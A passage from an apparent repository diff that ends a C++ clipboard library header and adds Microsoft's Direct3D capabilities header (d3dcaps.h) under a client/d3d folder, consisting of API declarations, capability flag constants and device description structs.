// (lock/unlock) the clipboard. From the MSDN documentation we
// need this handler so SetClipboardData() doesn't fail after a
// EmptyClipboard() call. Anyway it looks to work just fine if we
// call OpenClipboard() with a null HWND.
lock(void* native_window_handle = nullptr);
~lock();
// Returns true if we've locked the clipboard successfully in
// lock() constructor.
bool locked() const;
// Clears the clipboard content. If you don't clear the content,
// previous clipboard content (in unknown formats) could persist
// after the unlock.
bool clear();
// Returns true if the clipboard can be converted to the given
// format.
bool is_convertible(format f) const;
bool set_data(format f, const char* buf, size_t len);
bool get_data(format f, char* buf, size_t len) const;
size_t get_data_length(format f) const;
#if CLIP_ENABLE_IMAGE
// For images
bool set_image(const image& image);
bool get_image(image& image) const;
bool get_image_spec(image_spec& spec) const;
#endif // CLIP_ENABLE_IMAGE
#if CLIP_ENABLE_LIST_FORMATS
// Returns the list of available formats (by name) in the
// clipboard.
std::vector<format_info> list_formats() const;
#endif // CLIP_ENABLE_LIST_FORMATS
private:
class impl;
std::unique_ptr<impl> p;
};
format register_format(const std::string& name);
// This format is when the clipboard has no content.
format empty_format();
// When the clipboard has UTF8 text.
format text_format();
#if CLIP_ENABLE_IMAGE
// When the clipboard has an image.
format image_format();
#endif
// Returns true if the clipboard has content of the given type.
bool has(format f);
// Clears the clipboard content.
bool clear();
// ======================================================================
// Error handling
// ======================================================================
enum class ErrorCode {
CannotLock,
#if CLIP_ENABLE_IMAGE
ImageNotSupported,
#endif
};
typedef void (*error_handler)(ErrorCode code);
void set_error_handler(error_handler f);
error_handler get_error_handler();
// ======================================================================
// Text
// ======================================================================
// High-level API to put/get UTF8 text in/from the clipboard. These
// functions returns false in case of error.
bool set_text(const std::string& value);
bool get_text(std::string& value);
// ======================================================================
// Image
// ======================================================================
#if CLIP_ENABLE_IMAGE
struct image_spec {
unsigned long width = 0;
unsigned long height = 0;
unsigned long bits_per_pixel = 0;
unsigned long bytes_per_row = 0;
unsigned long red_mask = 0;
unsigned long green_mask = 0;
unsigned long blue_mask = 0;
unsigned long alpha_mask = 0;
unsigned long red_shift = 0;
unsigned long green_shift = 0;
unsigned long blue_shift = 0;
unsigned long alpha_shift = 0;
unsigned long required_data_size() const;
};
// The image data must contain straight RGB values
// (non-premultiplied by alpha). The image retrieved from the
// clipboard will be non-premultiplied too. Basically you will be
// always dealing with straight alpha images.
//
// Details: Windows expects premultiplied images on its clipboard
// content, so the library code make the proper conversion
// automatically. macOS handles straight alpha directly, so there is
// no conversion at all. Linux/X11 images are transferred in
// image/png format which are specified in straight alpha.
class image
{
public:
image();
image(const image_spec& spec);
image(const void* data, const image_spec& spec);
image(const image& image);
image(image&& image);
~image();
image& operator=(const image& image);
image& operator=(image&& image);
char* data() const
{
return m_data;
}
const image_spec& spec() const
{
return m_spec;
}
bool is_valid() const
{
return m_data != nullptr;
}
void reset();
private:
void copy_image(const image& image);
void move_image(image&& image);
bool m_own_data;
char* m_data;
image_spec m_spec;
};
// High-level API to set/get an image in/from the clipboard. These
// functions returns false in case of error.
bool set_image(const image& img);
bool get_image(image& img);
bool get_image_spec(image_spec& spec);
#endif // CLIP_ENABLE_IMAGE
// ======================================================================
// Platform-specific
// ======================================================================
// Only for X11: Sets the time (in milliseconds) that we must wait
// for the selection/clipboard owner to receive the content. This
// value is 1000 (one second) by default.
void set_x11_wait_timeout(int msecs);
int get_x11_wait_timeout();
} // namespace clip
#endif // CLIP_H_INCLUDED

1696
client/d3d/d3d.h Normal file

File diff suppressed because it is too large Load Diff

609
client/d3d/d3dcaps.h Normal file
View File

@@ -0,0 +1,609 @@
/*==========================================================================;
*
* Copyright (C) Microsoft Corporation. All Rights Reserved.
*
* File: d3dcaps.h
* Content: Direct3D capabilities include file
*
***************************************************************************/
#include <winapifamily.h>
#pragma region Desktop Family
#if WINAPI_FAMILY_PARTITION(WINAPI_PARTITION_DESKTOP)
#ifndef _D3DCAPS_H
#define _D3DCAPS_H
/*
* Pull in DirectDraw include file automatically:
*/
#include "ddraw.h"
#ifndef DIRECT3D_VERSION
#define DIRECT3D_VERSION 0x0700
#endif
#if defined(_X86_) || defined(_IA64_)
#pragma pack(4)
#endif
/* Description of capabilities of transform */
typedef struct _D3DTRANSFORMCAPS {
DWORD dwSize;
DWORD dwCaps;
} D3DTRANSFORMCAPS, *LPD3DTRANSFORMCAPS;
#define D3DTRANSFORMCAPS_CLIP 0x00000001L /* Will clip whilst transforming */
/* Description of capabilities of lighting */
typedef struct _D3DLIGHTINGCAPS {
DWORD dwSize;
DWORD dwCaps; /* Lighting caps */
DWORD dwLightingModel; /* Lighting model - RGB or mono */
DWORD dwNumLights; /* Number of lights that can be handled */
} D3DLIGHTINGCAPS, *LPD3DLIGHTINGCAPS;
#define D3DLIGHTINGMODEL_RGB 0x00000001L
#define D3DLIGHTINGMODEL_MONO 0x00000002L
#define D3DLIGHTCAPS_POINT 0x00000001L /* Point lights supported */
#define D3DLIGHTCAPS_SPOT 0x00000002L /* Spot lights supported */
#define D3DLIGHTCAPS_DIRECTIONAL 0x00000004L /* Directional lights supported */
#if(DIRECT3D_VERSION < 0x700)
#define D3DLIGHTCAPS_PARALLELPOINT 0x00000008L /* Parallel point lights supported */
#endif
#if(DIRECT3D_VERSION < 0x500)
#define D3DLIGHTCAPS_GLSPOT 0x00000010L /* GL syle spot lights supported */
#endif
/* Description of capabilities for each primitive type */
typedef struct _D3DPrimCaps {
DWORD dwSize;
DWORD dwMiscCaps; /* Capability flags */
DWORD dwRasterCaps;
DWORD dwZCmpCaps;
DWORD dwSrcBlendCaps;
DWORD dwDestBlendCaps;
DWORD dwAlphaCmpCaps;
DWORD dwShadeCaps;
DWORD dwTextureCaps;
DWORD dwTextureFilterCaps;
DWORD dwTextureBlendCaps;
DWORD dwTextureAddressCaps;
DWORD dwStippleWidth; /* maximum width and height of */
DWORD dwStippleHeight; /* of supported stipple (up to 32x32) */
} D3DPRIMCAPS, *LPD3DPRIMCAPS;
/* D3DPRIMCAPS dwMiscCaps */
#define D3DPMISCCAPS_MASKPLANES 0x00000001L
#define D3DPMISCCAPS_MASKZ 0x00000002L
#define D3DPMISCCAPS_LINEPATTERNREP 0x00000004L
#define D3DPMISCCAPS_CONFORMANT 0x00000008L
#define D3DPMISCCAPS_CULLNONE 0x00000010L
#define D3DPMISCCAPS_CULLCW 0x00000020L
#define D3DPMISCCAPS_CULLCCW 0x00000040L
/* D3DPRIMCAPS dwRasterCaps */
#define D3DPRASTERCAPS_DITHER 0x00000001L
#define D3DPRASTERCAPS_ROP2 0x00000002L
#define D3DPRASTERCAPS_XOR 0x00000004L
#define D3DPRASTERCAPS_PAT 0x00000008L
#define D3DPRASTERCAPS_ZTEST 0x00000010L
#define D3DPRASTERCAPS_SUBPIXEL 0x00000020L
#define D3DPRASTERCAPS_SUBPIXELX 0x00000040L
#define D3DPRASTERCAPS_FOGVERTEX 0x00000080L
#define D3DPRASTERCAPS_FOGTABLE 0x00000100L
#define D3DPRASTERCAPS_STIPPLE 0x00000200L
#if(DIRECT3D_VERSION >= 0x0500)
#define D3DPRASTERCAPS_ANTIALIASSORTDEPENDENT 0x00000400L
#define D3DPRASTERCAPS_ANTIALIASSORTINDEPENDENT 0x00000800L
#define D3DPRASTERCAPS_ANTIALIASEDGES 0x00001000L
#define D3DPRASTERCAPS_MIPMAPLODBIAS 0x00002000L
#define D3DPRASTERCAPS_ZBIAS 0x00004000L
#define D3DPRASTERCAPS_ZBUFFERLESSHSR 0x00008000L
#define D3DPRASTERCAPS_FOGRANGE 0x00010000L
#define D3DPRASTERCAPS_ANISOTROPY 0x00020000L
#endif /* DIRECT3D_VERSION >= 0x0500 */
#if(DIRECT3D_VERSION >= 0x0600)
#define D3DPRASTERCAPS_WBUFFER 0x00040000L
#define D3DPRASTERCAPS_TRANSLUCENTSORTINDEPENDENT 0x00080000L
#define D3DPRASTERCAPS_WFOG 0x00100000L
#define D3DPRASTERCAPS_ZFOG 0x00200000L
#endif /* DIRECT3D_VERSION >= 0x0600 */
/* D3DPRIMCAPS dwZCmpCaps, dwAlphaCmpCaps */
#define D3DPCMPCAPS_NEVER 0x00000001L
#define D3DPCMPCAPS_LESS 0x00000002L
#define D3DPCMPCAPS_EQUAL 0x00000004L
#define D3DPCMPCAPS_LESSEQUAL 0x00000008L
#define D3DPCMPCAPS_GREATER 0x00000010L
#define D3DPCMPCAPS_NOTEQUAL 0x00000020L
#define D3DPCMPCAPS_GREATEREQUAL 0x00000040L
#define D3DPCMPCAPS_ALWAYS 0x00000080L
/* D3DPRIMCAPS dwSourceBlendCaps, dwDestBlendCaps */
#define D3DPBLENDCAPS_ZERO 0x00000001L
#define D3DPBLENDCAPS_ONE 0x00000002L
#define D3DPBLENDCAPS_SRCCOLOR 0x00000004L
#define D3DPBLENDCAPS_INVSRCCOLOR 0x00000008L
#define D3DPBLENDCAPS_SRCALPHA 0x00000010L
#define D3DPBLENDCAPS_INVSRCALPHA 0x00000020L
#define D3DPBLENDCAPS_DESTALPHA 0x00000040L
#define D3DPBLENDCAPS_INVDESTALPHA 0x00000080L
#define D3DPBLENDCAPS_DESTCOLOR 0x00000100L
#define D3DPBLENDCAPS_INVDESTCOLOR 0x00000200L
#define D3DPBLENDCAPS_SRCALPHASAT 0x00000400L
#define D3DPBLENDCAPS_BOTHSRCALPHA 0x00000800L
#define D3DPBLENDCAPS_BOTHINVSRCALPHA 0x00001000L
/* D3DPRIMCAPS dwShadeCaps */
#define D3DPSHADECAPS_COLORFLATMONO 0x00000001L
#define D3DPSHADECAPS_COLORFLATRGB 0x00000002L
#define D3DPSHADECAPS_COLORGOURAUDMONO 0x00000004L
#define D3DPSHADECAPS_COLORGOURAUDRGB 0x00000008L
#define D3DPSHADECAPS_COLORPHONGMONO 0x00000010L
#define D3DPSHADECAPS_COLORPHONGRGB 0x00000020L
#define D3DPSHADECAPS_SPECULARFLATMONO 0x00000040L
#define D3DPSHADECAPS_SPECULARFLATRGB 0x00000080L
#define D3DPSHADECAPS_SPECULARGOURAUDMONO 0x00000100L
#define D3DPSHADECAPS_SPECULARGOURAUDRGB 0x00000200L
#define D3DPSHADECAPS_SPECULARPHONGMONO 0x00000400L
#define D3DPSHADECAPS_SPECULARPHONGRGB 0x00000800L
#define D3DPSHADECAPS_ALPHAFLATBLEND 0x00001000L
#define D3DPSHADECAPS_ALPHAFLATSTIPPLED 0x00002000L
#define D3DPSHADECAPS_ALPHAGOURAUDBLEND 0x00004000L
#define D3DPSHADECAPS_ALPHAGOURAUDSTIPPLED 0x00008000L
#define D3DPSHADECAPS_ALPHAPHONGBLEND 0x00010000L
#define D3DPSHADECAPS_ALPHAPHONGSTIPPLED 0x00020000L
#define D3DPSHADECAPS_FOGFLAT 0x00040000L
#define D3DPSHADECAPS_FOGGOURAUD 0x00080000L
#define D3DPSHADECAPS_FOGPHONG 0x00100000L
/* D3DPRIMCAPS dwTextureCaps */
/*
* Perspective-correct texturing is supported
*/
#define D3DPTEXTURECAPS_PERSPECTIVE 0x00000001L
/*
* Power-of-2 texture dimensions are required
*/
#define D3DPTEXTURECAPS_POW2 0x00000002L
/*
* Alpha in texture pixels is supported
*/
#define D3DPTEXTURECAPS_ALPHA 0x00000004L
/*
* Color-keyed textures are supported
*/
#define D3DPTEXTURECAPS_TRANSPARENCY 0x00000008L
/*
* obsolete, see D3DPTADDRESSCAPS_BORDER
*/
#define D3DPTEXTURECAPS_BORDER 0x00000010L
/*
* Only square textures are supported
*/
#define D3DPTEXTURECAPS_SQUAREONLY 0x00000020L
#if(DIRECT3D_VERSION >= 0x0600)
/*
* Texture indices are not scaled by the texture size prior
* to interpolation.
*/
#define D3DPTEXTURECAPS_TEXREPEATNOTSCALEDBYSIZE 0x00000040L
/*
* Device can draw alpha from texture palettes
*/
#define D3DPTEXTURECAPS_ALPHAPALETTE 0x00000080L
/*
* Device can use non-POW2 textures if:
* 1) D3DTEXTURE_ADDRESS is set to CLAMP for this texture's stage
* 2) D3DRS_WRAP(N) is zero for this texture's coordinates
* 3) mip mapping is not enabled (use magnification filter only)
*/
#define D3DPTEXTURECAPS_NONPOW2CONDITIONAL 0x00000100L
#endif /* DIRECT3D_VERSION >= 0x0600 */
#if(DIRECT3D_VERSION >= 0x0700)
// 0x00000200L unused
/*
* Device can divide transformed texture coordinates by the
* COUNTth texture coordinate (can do D3DTTFF_PROJECTED)
*/
#define D3DPTEXTURECAPS_PROJECTED 0x00000400L
/*
* Device can do cubemap textures
*/
#define D3DPTEXTURECAPS_CUBEMAP 0x00000800L
#define D3DPTEXTURECAPS_COLORKEYBLEND 0x00001000L
#endif /* DIRECT3D_VERSION >= 0x0700 */
/* D3DPRIMCAPS dwTextureFilterCaps */
#define D3DPTFILTERCAPS_NEAREST 0x00000001L
#define D3DPTFILTERCAPS_LINEAR 0x00000002L
#define D3DPTFILTERCAPS_MIPNEAREST 0x00000004L
#define D3DPTFILTERCAPS_MIPLINEAR 0x00000008L
#define D3DPTFILTERCAPS_LINEARMIPNEAREST 0x00000010L
#define D3DPTFILTERCAPS_LINEARMIPLINEAR 0x00000020L
#if(DIRECT3D_VERSION >= 0x0600)
/* Device3 Min Filter */
#define D3DPTFILTERCAPS_MINFPOINT 0x00000100L
#define D3DPTFILTERCAPS_MINFLINEAR 0x00000200L
#define D3DPTFILTERCAPS_MINFANISOTROPIC 0x00000400L
/* Device3 Mip Filter */
#define D3DPTFILTERCAPS_MIPFPOINT 0x00010000L
#define D3DPTFILTERCAPS_MIPFLINEAR 0x00020000L
/* Device3 Mag Filter */
#define D3DPTFILTERCAPS_MAGFPOINT 0x01000000L
#define D3DPTFILTERCAPS_MAGFLINEAR 0x02000000L
#define D3DPTFILTERCAPS_MAGFANISOTROPIC 0x04000000L
#define D3DPTFILTERCAPS_MAGFAFLATCUBIC 0x08000000L
#define D3DPTFILTERCAPS_MAGFGAUSSIANCUBIC 0x10000000L
#endif /* DIRECT3D_VERSION >= 0x0600 */
/* D3DPRIMCAPS dwTextureBlendCaps */
#define D3DPTBLENDCAPS_DECAL 0x00000001L
#define D3DPTBLENDCAPS_MODULATE 0x00000002L
#define D3DPTBLENDCAPS_DECALALPHA 0x00000004L
#define D3DPTBLENDCAPS_MODULATEALPHA 0x00000008L
#define D3DPTBLENDCAPS_DECALMASK 0x00000010L
#define D3DPTBLENDCAPS_MODULATEMASK 0x00000020L
#define D3DPTBLENDCAPS_COPY 0x00000040L
#if(DIRECT3D_VERSION >= 0x0500)
#define D3DPTBLENDCAPS_ADD 0x00000080L
#endif /* DIRECT3D_VERSION >= 0x0500 */
/* D3DPRIMCAPS dwTextureAddressCaps */
#define D3DPTADDRESSCAPS_WRAP 0x00000001L
#define D3DPTADDRESSCAPS_MIRROR 0x00000002L
#define D3DPTADDRESSCAPS_CLAMP 0x00000004L
#if(DIRECT3D_VERSION >= 0x0500)
#define D3DPTADDRESSCAPS_BORDER 0x00000008L
#define D3DPTADDRESSCAPS_INDEPENDENTUV 0x00000010L
#endif /* DIRECT3D_VERSION >= 0x0500 */
#if(DIRECT3D_VERSION >= 0x0600)
/* D3DDEVICEDESC dwStencilCaps */
#define D3DSTENCILCAPS_KEEP 0x00000001L
#define D3DSTENCILCAPS_ZERO 0x00000002L
#define D3DSTENCILCAPS_REPLACE 0x00000004L
#define D3DSTENCILCAPS_INCRSAT 0x00000008L
#define D3DSTENCILCAPS_DECRSAT 0x00000010L
#define D3DSTENCILCAPS_INVERT 0x00000020L
#define D3DSTENCILCAPS_INCR 0x00000040L
#define D3DSTENCILCAPS_DECR 0x00000080L
/* D3DDEVICEDESC dwTextureOpCaps */
#define D3DTEXOPCAPS_DISABLE 0x00000001L
#define D3DTEXOPCAPS_SELECTARG1 0x00000002L
#define D3DTEXOPCAPS_SELECTARG2 0x00000004L
#define D3DTEXOPCAPS_MODULATE 0x00000008L
#define D3DTEXOPCAPS_MODULATE2X 0x00000010L
#define D3DTEXOPCAPS_MODULATE4X 0x00000020L
#define D3DTEXOPCAPS_ADD 0x00000040L
#define D3DTEXOPCAPS_ADDSIGNED 0x00000080L
#define D3DTEXOPCAPS_ADDSIGNED2X 0x00000100L
#define D3DTEXOPCAPS_SUBTRACT 0x00000200L
#define D3DTEXOPCAPS_ADDSMOOTH 0x00000400L
#define D3DTEXOPCAPS_BLENDDIFFUSEALPHA 0x00000800L
#define D3DTEXOPCAPS_BLENDTEXTUREALPHA 0x00001000L
#define D3DTEXOPCAPS_BLENDFACTORALPHA 0x00002000L
#define D3DTEXOPCAPS_BLENDTEXTUREALPHAPM 0x00004000L
#define D3DTEXOPCAPS_BLENDCURRENTALPHA 0x00008000L
#define D3DTEXOPCAPS_PREMODULATE 0x00010000L
#define D3DTEXOPCAPS_MODULATEALPHA_ADDCOLOR 0x00020000L
#define D3DTEXOPCAPS_MODULATECOLOR_ADDALPHA 0x00040000L
#define D3DTEXOPCAPS_MODULATEINVALPHA_ADDCOLOR 0x00080000L
#define D3DTEXOPCAPS_MODULATEINVCOLOR_ADDALPHA 0x00100000L
#define D3DTEXOPCAPS_BUMPENVMAP 0x00200000L
#define D3DTEXOPCAPS_BUMPENVMAPLUMINANCE 0x00400000L
#define D3DTEXOPCAPS_DOTPRODUCT3 0x00800000L
/* D3DDEVICEDESC dwFVFCaps flags */
#define D3DFVFCAPS_TEXCOORDCOUNTMASK 0x0000ffffL /* mask for texture coordinate count field */
#define D3DFVFCAPS_DONOTSTRIPELEMENTS 0x00080000L /* Device prefers that vertex elements not be stripped */
#endif /* DIRECT3D_VERSION >= 0x0600 */
/*
* Description for a device.
* This is used to describe a device that is to be created or to query
* the current device.
*/
typedef struct _D3DDeviceDesc {
DWORD dwSize; /* Size of D3DDEVICEDESC structure */
DWORD dwFlags; /* Indicates which fields have valid data */
D3DCOLORMODEL dcmColorModel; /* Color model of device */
DWORD dwDevCaps; /* Capabilities of device */
D3DTRANSFORMCAPS dtcTransformCaps; /* Capabilities of transform */
BOOL bClipping; /* Device can do 3D clipping */
D3DLIGHTINGCAPS dlcLightingCaps; /* Capabilities of lighting */
D3DPRIMCAPS dpcLineCaps;
D3DPRIMCAPS dpcTriCaps;
DWORD dwDeviceRenderBitDepth; /* One of DDBB_8, 16, etc.. */
DWORD dwDeviceZBufferBitDepth;/* One of DDBD_16, 32, etc.. */
DWORD dwMaxBufferSize; /* Maximum execute buffer size */
DWORD dwMaxVertexCount; /* Maximum vertex count */
#if(DIRECT3D_VERSION >= 0x0500)
// *** New fields for DX5 *** //
// Width and height caps are 0 for legacy HALs.
DWORD dwMinTextureWidth, dwMinTextureHeight;
DWORD dwMaxTextureWidth, dwMaxTextureHeight;
DWORD dwMinStippleWidth, dwMaxStippleWidth;
DWORD dwMinStippleHeight, dwMaxStippleHeight;
#endif /* DIRECT3D_VERSION >= 0x0500 */
#if(DIRECT3D_VERSION >= 0x0600)
// New fields for DX6
DWORD dwMaxTextureRepeat;
DWORD dwMaxTextureAspectRatio;
DWORD dwMaxAnisotropy;
// Guard band that the rasterizer can accommodate
// Screen-space vertices inside this space but outside the viewport
// will get clipped properly.
D3DVALUE dvGuardBandLeft;
D3DVALUE dvGuardBandTop;
D3DVALUE dvGuardBandRight;
D3DVALUE dvGuardBandBottom;
D3DVALUE dvExtentsAdjust;
DWORD dwStencilCaps;
DWORD dwFVFCaps;
DWORD dwTextureOpCaps;
WORD wMaxTextureBlendStages;
WORD wMaxSimultaneousTextures;
#endif /* DIRECT3D_VERSION >= 0x0600 */
} D3DDEVICEDESC, *LPD3DDEVICEDESC;
#if(DIRECT3D_VERSION >= 0x0700)
typedef struct _D3DDeviceDesc7 {
DWORD dwDevCaps; /* Capabilities of device */
D3DPRIMCAPS dpcLineCaps;
D3DPRIMCAPS dpcTriCaps;
DWORD dwDeviceRenderBitDepth; /* One of DDBB_8, 16, etc.. */
DWORD dwDeviceZBufferBitDepth;/* One of DDBD_16, 32, etc.. */
DWORD dwMinTextureWidth, dwMinTextureHeight;
DWORD dwMaxTextureWidth, dwMaxTextureHeight;
DWORD dwMaxTextureRepeat;
DWORD dwMaxTextureAspectRatio;
DWORD dwMaxAnisotropy;
D3DVALUE dvGuardBandLeft;
D3DVALUE dvGuardBandTop;
D3DVALUE dvGuardBandRight;
D3DVALUE dvGuardBandBottom;
D3DVALUE dvExtentsAdjust;
DWORD dwStencilCaps;
DWORD dwFVFCaps;
DWORD dwTextureOpCaps;
WORD wMaxTextureBlendStages;
WORD wMaxSimultaneousTextures;
DWORD dwMaxActiveLights;
D3DVALUE dvMaxVertexW;
GUID deviceGUID;
WORD wMaxUserClipPlanes;
WORD wMaxVertexBlendMatrices;
DWORD dwVertexProcessingCaps;
DWORD dwReserved1;
DWORD dwReserved2;
DWORD dwReserved3;
DWORD dwReserved4;
} D3DDEVICEDESC7, *LPD3DDEVICEDESC7;
#endif /* DIRECT3D_VERSION >= 0x0700 */
#define D3DDEVICEDESCSIZE (sizeof(D3DDEVICEDESC))
#define D3DDEVICEDESC7SIZE (sizeof(D3DDEVICEDESC7))
typedef HRESULT (CALLBACK * LPD3DENUMDEVICESCALLBACK)(GUID FAR *lpGuid, LPSTR lpDeviceDescription, LPSTR lpDeviceName, LPD3DDEVICEDESC, LPD3DDEVICEDESC, LPVOID);
#if(DIRECT3D_VERSION >= 0x0700)
typedef HRESULT (CALLBACK * LPD3DENUMDEVICESCALLBACK7)(LPSTR lpDeviceDescription, LPSTR lpDeviceName, LPD3DDEVICEDESC7, LPVOID);
#endif /* DIRECT3D_VERSION >= 0x0700 */
/* D3DDEVICEDESC dwFlags indicating valid fields */
#define D3DDD_COLORMODEL 0x00000001L /* dcmColorModel is valid */
#define D3DDD_DEVCAPS 0x00000002L /* dwDevCaps is valid */
#define D3DDD_TRANSFORMCAPS 0x00000004L /* dtcTransformCaps is valid */
#define D3DDD_LIGHTINGCAPS 0x00000008L /* dlcLightingCaps is valid */
#define D3DDD_BCLIPPING 0x00000010L /* bClipping is valid */
#define D3DDD_LINECAPS 0x00000020L /* dpcLineCaps is valid */
#define D3DDD_TRICAPS 0x00000040L /* dpcTriCaps is valid */
#define D3DDD_DEVICERENDERBITDEPTH 0x00000080L /* dwDeviceRenderBitDepth is valid */
#define D3DDD_DEVICEZBUFFERBITDEPTH 0x00000100L /* dwDeviceZBufferBitDepth is valid */
#define D3DDD_MAXBUFFERSIZE 0x00000200L /* dwMaxBufferSize is valid */
#define D3DDD_MAXVERTEXCOUNT 0x00000400L /* dwMaxVertexCount is valid */
/* D3DDEVICEDESC dwDevCaps flags */
#define D3DDEVCAPS_FLOATTLVERTEX 0x00000001L /* Device accepts floating point */
/* for post-transform vertex data */
#define D3DDEVCAPS_SORTINCREASINGZ 0x00000002L /* Device needs data sorted for increasing Z */
#define D3DDEVCAPS_SORTDECREASINGZ 0X00000004L /* Device needs data sorted for decreasing Z */
#define D3DDEVCAPS_SORTEXACT 0x00000008L /* Device needs data sorted exactly */
#define D3DDEVCAPS_EXECUTESYSTEMMEMORY 0x00000010L /* Device can use execute buffers from system memory */
#define D3DDEVCAPS_EXECUTEVIDEOMEMORY 0x00000020L /* Device can use execute buffers from video memory */
#define D3DDEVCAPS_TLVERTEXSYSTEMMEMORY 0x00000040L /* Device can use TL buffers from system memory */
#define D3DDEVCAPS_TLVERTEXVIDEOMEMORY 0x00000080L /* Device can use TL buffers from video memory */
#define D3DDEVCAPS_TEXTURESYSTEMMEMORY 0x00000100L /* Device can texture from system memory */
#define D3DDEVCAPS_TEXTUREVIDEOMEMORY 0x00000200L /* Device can texture from device memory */
#if(DIRECT3D_VERSION >= 0x0500)
#define D3DDEVCAPS_DRAWPRIMTLVERTEX 0x00000400L /* Device can draw TLVERTEX primitives */
#define D3DDEVCAPS_CANRENDERAFTERFLIP 0x00000800L /* Device can render without waiting for flip to complete */
#define D3DDEVCAPS_TEXTURENONLOCALVIDMEM 0x00001000L /* Device can texture from nonlocal video memory */
#endif /* DIRECT3D_VERSION >= 0x0500 */
#if(DIRECT3D_VERSION >= 0x0600)
#define D3DDEVCAPS_DRAWPRIMITIVES2 0x00002000L /* Device can support DrawPrimitives2 */
#define D3DDEVCAPS_SEPARATETEXTUREMEMORIES 0x00004000L /* Device is texturing from separate memory pools */
#define D3DDEVCAPS_DRAWPRIMITIVES2EX 0x00008000L /* Device can support Extended DrawPrimitives2 i.e. DX7 compliant driver*/
#endif /* DIRECT3D_VERSION >= 0x0600 */
#if(DIRECT3D_VERSION >= 0x0700)
#define D3DDEVCAPS_HWTRANSFORMANDLIGHT 0x00010000L /* Device can support transformation and lighting in hardware and DRAWPRIMITIVES2EX must be also */
#define D3DDEVCAPS_CANBLTSYSTONONLOCAL 0x00020000L /* Device supports a Tex Blt from system memory to non-local vidmem */
#define D3DDEVCAPS_HWRASTERIZATION 0x00080000L /* Device has HW acceleration for rasterization */
/*
* These are the flags in the D3DDEVICEDESC7.dwVertexProcessingCaps field
*/
/* device can do texgen */
#define D3DVTXPCAPS_TEXGEN 0x00000001L
/* device can do IDirect3DDevice7 colormaterialsource ops */
#define D3DVTXPCAPS_MATERIALSOURCE7 0x00000002L
/* device can do vertex fog */
#define D3DVTXPCAPS_VERTEXFOG 0x00000004L
/* device can do directional lights */
#define D3DVTXPCAPS_DIRECTIONALLIGHTS 0x00000008L
/* device can do positional lights (includes point and spot) */
#define D3DVTXPCAPS_POSITIONALLIGHTS 0x00000010L
/* device can do local viewer */
#define D3DVTXPCAPS_LOCALVIEWER 0x00000020L
#endif /* DIRECT3D_VERSION >= 0x0700 */
#define D3DFDS_COLORMODEL 0x00000001L /* Match color model */
#define D3DFDS_GUID 0x00000002L /* Match guid */
#define D3DFDS_HARDWARE 0x00000004L /* Match hardware/software */
#define D3DFDS_TRIANGLES 0x00000008L /* Match in triCaps */
#define D3DFDS_LINES 0x00000010L /* Match in lineCaps */
#define D3DFDS_MISCCAPS 0x00000020L /* Match primCaps.dwMiscCaps */
#define D3DFDS_RASTERCAPS 0x00000040L /* Match primCaps.dwRasterCaps */
#define D3DFDS_ZCMPCAPS 0x00000080L /* Match primCaps.dwZCmpCaps */
#define D3DFDS_ALPHACMPCAPS 0x00000100L /* Match primCaps.dwAlphaCmpCaps */
#define D3DFDS_SRCBLENDCAPS 0x00000200L /* Match primCaps.dwSourceBlendCaps */
#define D3DFDS_DSTBLENDCAPS 0x00000400L /* Match primCaps.dwDestBlendCaps */
#define D3DFDS_SHADECAPS 0x00000800L /* Match primCaps.dwShadeCaps */
#define D3DFDS_TEXTURECAPS 0x00001000L /* Match primCaps.dwTextureCaps */
#define D3DFDS_TEXTUREFILTERCAPS 0x00002000L /* Match primCaps.dwTextureFilterCaps */
#define D3DFDS_TEXTUREBLENDCAPS 0x00004000L /* Match primCaps.dwTextureBlendCaps */
#define D3DFDS_TEXTUREADDRESSCAPS 0x00008000L /* Match primCaps.dwTextureBlendCaps */
/*
* FindDevice arguments
*/
typedef struct _D3DFINDDEVICESEARCH {
DWORD dwSize;
DWORD dwFlags;
BOOL bHardware;
D3DCOLORMODEL dcmColorModel;
GUID guid;
DWORD dwCaps;
D3DPRIMCAPS dpcPrimCaps;
} D3DFINDDEVICESEARCH, *LPD3DFINDDEVICESEARCH;
typedef struct _D3DFINDDEVICERESULT {
DWORD dwSize;
GUID guid; /* guid which matched */
D3DDEVICEDESC ddHwDesc; /* hardware D3DDEVICEDESC */
D3DDEVICEDESC ddSwDesc; /* software D3DDEVICEDESC */
} D3DFINDDEVICERESULT, *LPD3DFINDDEVICERESULT;
/*
* Description of execute buffer.
*/
typedef struct _D3DExecuteBufferDesc {
DWORD dwSize; /* size of this structure */
DWORD dwFlags; /* flags indicating which fields are valid */
DWORD dwCaps; /* capabilities of execute buffer */
DWORD dwBufferSize; /* size of execute buffer data */
LPVOID lpData; /* pointer to actual data */
} D3DEXECUTEBUFFERDESC, *LPD3DEXECUTEBUFFERDESC;
/* D3DEXECUTEBUFFER dwFlags indicating valid fields */
#define D3DDEB_BUFSIZE 0x00000001l /* buffer size valid */
#define D3DDEB_CAPS 0x00000002l /* caps valid */
#define D3DDEB_LPDATA 0x00000004l /* lpData valid */
/* D3DEXECUTEBUFFER dwCaps */
#define D3DDEBCAPS_SYSTEMMEMORY 0x00000001l /* buffer in system memory */
#define D3DDEBCAPS_VIDEOMEMORY 0x00000002l /* buffer in device memory */
#define D3DDEBCAPS_MEM (D3DDEBCAPS_SYSTEMMEMORY|D3DDEBCAPS_VIDEOMEMORY)
#if(DIRECT3D_VERSION < 0x0800)
#if(DIRECT3D_VERSION >= 0x0700)
typedef struct _D3DDEVINFO_TEXTUREMANAGER {
BOOL bThrashing; /* indicates if thrashing */
DWORD dwApproxBytesDownloaded; /* Approximate number of bytes downloaded by texture manager */
DWORD dwNumEvicts; /* number of textures evicted */
DWORD dwNumVidCreates; /* number of textures created in video memory */
DWORD dwNumTexturesUsed; /* number of textures used */
DWORD dwNumUsedTexInVid; /* number of used textures present in video memory */
DWORD dwWorkingSet; /* number of textures in video memory */
DWORD dwWorkingSetBytes; /* number of bytes in video memory */
DWORD dwTotalManaged; /* total number of managed textures */
DWORD dwTotalBytes; /* total number of bytes of managed textures */
DWORD dwLastPri; /* priority of last texture evicted */
} D3DDEVINFO_TEXTUREMANAGER, *LPD3DDEVINFO_TEXTUREMANAGER;
typedef struct _D3DDEVINFO_TEXTURING {
DWORD dwNumLoads; /* counts Load() API calls */
DWORD dwApproxBytesLoaded; /* Approximate number bytes loaded via Load() */
DWORD dwNumPreLoads; /* counts PreLoad() API calls */
DWORD dwNumSet; /* counts SetTexture() API calls */
DWORD dwNumCreates; /* counts texture creates */
DWORD dwNumDestroys; /* counts texture destroys */
DWORD dwNumSetPriorities; /* counts SetPriority() API calls */
DWORD dwNumSetLODs; /* counts SetLOD() API calls */
